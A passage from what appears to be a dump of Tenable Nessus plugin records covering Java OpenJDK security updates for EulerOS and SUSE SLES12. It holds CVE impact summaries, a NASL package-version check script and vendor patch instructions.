partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2983)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Kerberos). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via Kerberos to compromise Java SE,\n Java SE Embedded. While the vulnerability is in Java\n SE, Java SE Embedded, attacks may significantly impact\n additional products. Successful attacks of this\n vulnerability can result in unauthorized access to\n critical data or complete access to all Java SE, Java\n SE Embedded accessible data.(CVE-2019-2949)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: 2D). Supported versions that are affected\n are Java SE: 11.0.4 and 13. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java\n SE.(CVE-2019-2987)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2988)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. While the\n vulnerability is in Java SE, Java SE Embedded, attacks\n may significantly impact additional products.\n Successful attacks of this vulnerability can result in\n unauthorized creation, deletion or modification access\n to critical data or all Java SE, Java SE Embedded\n accessible data.(CVE-2019-2989)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2992)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Javadoc). Supported versions that are\n affected are Java SE: 7u231, 8u221, 11.0.4 and 13.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE. Successful\n attacks require human interaction from a person other\n than the attacker and while the vulnerability is in\n Java SE, attacks may significantly impact additional\n products. Successful attacks of this vulnerability can\n result in unauthorized update, insert or delete access\n to some of Java SE accessible data as well as\n unauthorized read access to a subset of Java SE\n accessible data.(CVE-2019-2999)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2583)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Security). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via Kerberos to compromise Java SE,\n Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data.(CVE-2020-2590)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in takeover of\n Java SE, Java SE Embedded.(CVE-2020-2604)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Libraries). Supported versions that are\n affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE.(CVE-2020-2654)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u241 and 8u231\n Java SE Embedded: 8u231. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2659)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u241, 11.0.6\n and 14 Java SE Embedded: 8u241. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2754)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u241, 11.0.6\n and 14 Java SE Embedded: 8u241. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2755)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2756)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2757)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Security). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2773)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JSSE). Supported versions\n that are affected are Java SE: 7u251, 8u241, 11.0.6 and\n 14 Java SE Embedded: 8u241. Easily exploitable\n vulnerability allows unauthenticated attacker with\n network access via HTTPS to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2781)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Lightweight HTTP Server).\n Supported versions that are affected are Java SE:\n 7u251, 8u241, 11.0.6 and 14 Java SE Embedded: 8u241.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized update, insert or delete access\n to some of Java SE, Java SE Embedded accessible data as\n well as unauthorized read access to a subset of Java\n SE, Java SE Embedded accessible data.(CVE-2020-2800)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Concurrency). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Easily\n exploitable vulnerability allows unauthenticated\n attacker with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2830)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data.(CVE-2020-14798)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-14779)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JNDI). Supported versions\n that are affected are Java SE: 7u271, 8u261, 11.0.8 and\n 15 Java SE Embedded: 8u261. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14781)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Hotspot). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data as well as unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14792)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14796)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized update, insert or delete access to some of\n Java SE, Java SE Embedded accessible\n data.(CVE-2020-14797)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Libraries). Supported versions that are\n affected are Java SE: 11.0.8 and 15. Easily exploitable\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized read access to a subset of Java\n SE accessible data.(CVE-2020-14803)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized update, insert or delete access to some of\n Java SE, Java SE Embedded accessible\n data.(CVE-2020-14782)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2021-1310\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?fa787a18\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected java-1.8.0-openjdk packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/22\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:java-1.8.0-openjdk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:java-1.8.0-openjdk-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:java-1.8.0-openjdk-headless\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(2)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP2\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"java-1.8.0-openjdk-1.8.0.191.b12-0.h15\",\n \"java-1.8.0-openjdk-devel-1.8.0.191.b12-0.h15\",\n \"java-1.8.0-openjdk-headless-1.8.0.191.b12-0.h15\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"2\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1.8.0-openjdk\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-25T23:38:26", "description": "This update for java-1_8_0-openjdk fixes the following issues :\n\nUpdate to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 5.3, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}, "published": "2021-02-22T00:00:00", "title": "SUSE SLES12 Security Update : java-1_8_0-openjdk (SUSE-SU-2021:0533-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-14803"], "modified": "2021-02-22T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debugsource", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo-debuginfo", "cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless-debuginfo", "p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk"], "id": "SUSE_SU-2021-0533-1.NASL", "href": "https://www.tenable.com/plugins/nessus/146653", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2021:0533-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146653);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/24\");\n\n script_cve_id(\"CVE-2020-14803\");\n\n script_name(english:\"SUSE SLES12 Security Update : java-1_8_0-openjdk (SUSE-SU-2021:0533-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_8_0-openjdk fixes the following issues :\n\nUpdate to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-14803/\"\n );\n # https://www.suse.com/support/update/announcement/2021/suse-su-20210533-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?ac2b5ffa\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-9-2021-533=1\n\nSUSE OpenStack Cloud Crowbar 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-8-2021-533=1\n\nSUSE OpenStack Cloud 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-9-2021-533=1\n\nSUSE OpenStack Cloud 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-8-2021-533=1\n\nSUSE OpenStack Cloud 7 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-7-2021-533=1\n\nSUSE Linux Enterprise Server for SAP 12-SP4 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP4-2021-533=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP3-2021-533=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2 :\n\nzypper in -t patch 